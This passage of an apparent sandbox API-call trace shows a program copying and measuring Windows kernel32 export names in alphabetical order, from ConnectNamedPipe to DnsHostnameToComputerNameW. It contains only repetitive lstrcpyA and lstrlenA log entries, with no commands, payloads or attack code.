lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0056.695] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0056.695] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0056.695] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0056.695] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0056.695] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0056.696] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0056.696] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0056.696] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0056.696] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0056.696] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0056.696] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0056.696] lstrlenA (lpString="COPYCONTEXT") returned 11 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0056.696] lstrlenA (lpString="COPYFILEA") returned 9 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0056.696] lstrlenA (lpString="COPYFILEEXA") returned 11 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0056.696] lstrlenA (lpString="COPYFILEEXW") returned 11 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0056.696] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0056.696] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0056.696] lstrlenA (lpString="COPYFILEW") returned 9 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0056.696] lstrlenA (lpString="COPYLZFILE") returned 10 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0056.696] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0056.696] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0056.696] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0056.696] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0056.697] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0056.697] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0056.697] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0056.697] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0056.697] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0056.697] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0056.697] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0056.697] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0056.697] lstrlenA (lpString="CREATEEVENTA") returned 12 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0056.697] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0056.697] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0056.697] lstrlenA (lpString="CREATEEVENTW") returned 12 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0056.697] lstrlenA (lpString="CREATEFIBER") returned 11 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0056.697] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0056.697] lstrlenA (lpString="CREATEFILEA") returned 11 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0056.697] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0056.697] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0056.697] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0056.697] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0056.698] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0056.698] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0056.698] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0056.698] lstrlenA (lpString="CREATEFILEW") returned 11 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0056.698] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0056.698] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0056.698] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0056.698] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0056.698] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0056.698] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0056.698] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0056.698] lstrlenA (lpString="CREATEJOBSET") returned 12 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0056.698] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0056.698] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0056.698] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0056.698] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0056.698] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0056.698] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0056.699] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0056.699] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0056.699] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0056.699] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0056.699] lstrlenA (lpString="CREATEPIPE") returned 10 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0056.699] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0056.699] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0056.699] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0056.699] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0056.699] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0056.699] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0056.699] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0056.699] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0056.699] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0056.699] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0056.699] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0056.699] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0056.699] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0056.700] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0056.700] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0056.700] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0056.700] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0056.700] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0056.700] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0056.700] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0056.700] lstrlenA (lpString="CREATETHREAD") returned 12 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0056.700] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0056.700] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0056.700] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0056.700] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0056.700] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0056.700] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0056.700] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0056.700] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0056.700] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0056.700] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0056.701] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0056.701] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0056.701] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0056.701] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0056.701] lstrlenA (lpString="CTRLROUTINE") returned 11 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0056.701] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0056.701] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0056.701] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0056.701] lstrlenA (lpString="DEBUGBREAK") returned 10 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0056.701] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0056.701] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0056.701] lstrlenA (lpString="DECODEPOINTER") returned 13 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0056.701] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0056.701] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0056.702] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0056.702] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0056.702] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0056.702] lstrlenA (lpString="DELETEATOM") returned 10 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0056.702] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0056.702] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0056.702] lstrlenA (lpString="DELETEFIBER") returned 11 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0056.702] lstrlenA (lpString="DELETEFILEA") returned 11 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0056.702] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0056.702] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0056.702] lstrlenA (lpString="DELETEFILEW") returned 11 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0056.702] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0056.702] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0056.702] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0056.702] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0056.702] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0056.702] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0056.702] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0056.702] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0056.703] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0056.703] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0056.703] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0056.703] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0056.703] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0056.703] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, 